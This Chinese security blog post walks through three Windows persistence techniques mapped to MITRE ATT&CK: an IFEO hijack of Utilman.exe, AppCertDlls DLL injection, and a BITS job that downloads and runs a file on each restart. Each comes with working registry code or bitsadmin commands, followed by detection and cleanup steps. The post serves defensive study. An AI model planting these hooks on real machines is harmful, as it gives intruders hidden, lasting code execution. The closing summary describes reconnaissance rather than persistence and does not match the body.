ATT&CK v10版本战术实战研究—持久化(一)

一、前言

“在网络安全的世界里,白帽子与黑帽子之间无时无刻都在进行着正与邪的对抗,似乎永无休止。正所谓,道高一尺魔高一丈,巨大的利益驱使着个人或组织利用技术进行不法行为,花样层出不穷,令人防不胜防。”

为了更好得应对这些攻击手段,就需要做到了解对手。俗话说:知己知彼,方能百战不殆。MITRE ATT&CK™就提供了全球范围的黑客的攻击手段和技术知识点,并把 APT 组织或恶意工具使用到的攻击手段一一对应,便于从根源上解决问题。许多公司和政府部门都会从中提取信息,针对遇到的威胁建立安全体系或模型。我们作为安全从业人员,如果能够掌握MITRE ATT&CK™如此庞大的知识体系,对以后的工作和对抗来说,就像是拥有了一个武器库,所向披靡。

当然,这么一个庞大的体系是不可能一蹴而就的。我们可以依照MITRE ATT&CK™的框架,从持久化这一点开始。本文的主要内容是介绍 APT 攻击者在 Windows 系统下持久运行恶意代码的常用手段,其中的原理是什么,是怎样实现的,安全运维人员如何及时发现,我们应该从哪些方面预防和检测。

二、测试环境

  • 靶机操作系统:Windows 7

  • 终端威胁检测工具:SiAgent

三、网络拓扑

四、关于SiAgent

4.1 SiAgent介绍

SiAgent是一个用于 Windows、OS X(macOS)、Linux 和 FreeBSD 的操作系统检测软件。这样使得操作系统分析和监控变得既高效又直观。

4.2 SiAgent能做什么

包括但不限于基线设备监控,软件基线,用户基线,配置基线,容器基线等等安全基线的检查与监控。可与安全管理平台进行连接与联动,在最大化的解决了终端的安全隐患的同时,仍然能保持极低的性能消耗,减少不必要的性能开支。

五、相关案例

5.1 辅助功能镜像劫持

5.1.1 简介

在注册表中创建一个辅助功能的注册表项,并根据镜像劫持的原理添加键值,实现系统在未登录状态下,通过快捷键运行自己的程序。

5.1.2 对应战术

5.1.3 原理

映像劫持,也被称为「IFEO」(Image File Execution Options)。当目标程序被映像劫持时,双击目标程序,系统会转而运行劫持程序,并不会运行目标程序。许多病毒会利用这一点来抑制杀毒软件的运行,并运行自己的程序。

造成映像劫持的罪魁祸首就是参数「Debugger」,它是 IFEO 里第一个被处理的参数,系统如果发现某个程序文件在 IFEO 列表中,它就会首先来读取 Debugger 参数,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理,而仅仅把用户试图启动的程序作为 Debugger 参数里指定的程序文件名的参数发送过去。

5.1.4 实现代码

HKEY hKey;constchar path[] = "C:\Users\quail\Desktop\hello.exe";    RegCreateKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\WindowsNT\\CurrentVersion\\Image File Execution Options\\Utilman.exe", 0,NULL, 0, KEY_WRITE, NULL, &hKey,&dwDisposition);    RegSetValueExA(hKey, "Debugger", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)))

5.1.5 实现效果图

5.1.6 安全管理平台发现效果

5.1.7 SiAgent查询结果

通过特定语法与特定条件进行SOFTWARE的查询,发现存在Debugger项。

5.1.8 检查以及清除方法

1.检查「HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option」注册表路径中的程序名称。

2.其它适用于的辅助功能还有:

  • 屏幕键盘:C:\Windows\System32\osk.exe

  • 放大镜:C:\Windows\System32\Magnify.exe

  • 旁白:C:\Windows\System32\Narrator.exe

  • 显示开关:C:\Windows\System32\DisplaySwitch.exe

  • 应用程序开关:C:\Windows\System32\AtBroker.exe

5.2 AppCertDlls进程注入

5.2.1 简介

编写了一个 dll,创建一个 AppCertDlls 注册表项,在默认键值中添加 dll 的路径,实现了对使用特定 API 进程的注入。

5.2.2 对应战术

事件触发的执行:AppCert DLL( T1546.009)[https://attack.mitre.org/techniques/T1546/009/]

5.2.3 原理

如果有进程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW WinExec 函数,那么此进程会获取HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls 注册表项,此项下的 dll 都会加载到此进程。

5.2.4 实现代码

HKEY hKey;constchar path[] = "C:\\secisland.dll";    RegCreateKeyExA(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);    RegSetValueExA(hKey, "Default", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

5.2.5 实现效果图

5.2.6 安全管理平台发现效果

5.2.7 SiAgent查询结果

通过特定语法与特定条件进行AppCertDlls的查询,发现存在Default项。

5.2.8 检查以及清除方法

监测 dll 的加载,特别是查找不是通常的 dll,或者不是正常加载的 dll。

监视 AppCertDLL 注册表值

监视和分析注册表编辑的 API 调用,如 RegCreateKeyEx 和 RegSetValueEx。

5.3 BITS作业持久化

5.3.1 简介

通过 bitsadmin 命令加入传输任务,利用 BITS 的特性,实现每次重启都会执行自己的程序。

5.3.2 对应战术

BITS作业(T1197)[https://attack.mitre.org/techniques/T1197/]

5.3.3 原理

BITS,后台智能传输服务,是一个 Windows 组件,它可以利用空闲的带宽在前台或后台异步传输文件,例如,当应用程序使用 80% 的可用带宽时,BITS 将只使用剩下的 20%。不影响其他网络应用程序的传输速度,并支持在重新启动计算机或重新建立网络连接之后自动恢复文件传输。

5.3.4 实现代码

bitsadmin /create secislandbitsadmin /addfile secisland http://www.secisland.com/WechatIMG4170.png  C:\Users\quail\Desktop\helloSecisland.pngbitsadmin /SetNotifyCmdLine secisland "%COMSPEC%""cmd.exe /c bitsadmin.exe /complete \"secisland\" && start /B C:\Users\quail\Desktop\helloSecisland.png"bitsadmin /Resume secisland

5.3.5 实现效果图

5.3.6 安全管理平台发现效果

5.3.7 SiAgent查询结果

通过特定语法与特定条件进行BITS任务列表的查询,发现存在存在恶意任务项。

5.3.8 检查以及清除结果

BITS 服务的运行状态可以使用 SC 查询程序来监视(命令:sc query bits),任务列表由 BITSAdmin 来查询。

监控和分析由 BITS 生成的网络活动。

六、阶段性总结

虽然侦察中能进行技术验证的子技术偏少,但是却能帮助攻击者获取信息量非常庞大的目标信息,甚至防范不足能直接获取致命的配置信息,所以侦察一定要引起管理员的高度重视,通过技术验证也能发现,攻击者基本上每一步的行动都被我们成功感知并进行告警,后面仅需及时作出响应即可将攻击者关在门外,同样,第一阶段的信息收集也告一段落,后面将会根据获取的配置文件进行后续攻击,并通过态势感知平台对其进行捕捉与处理。

猜你喜欢

转载自blog.csdn.net/ducc20180301/article/details/129320424
今日推荐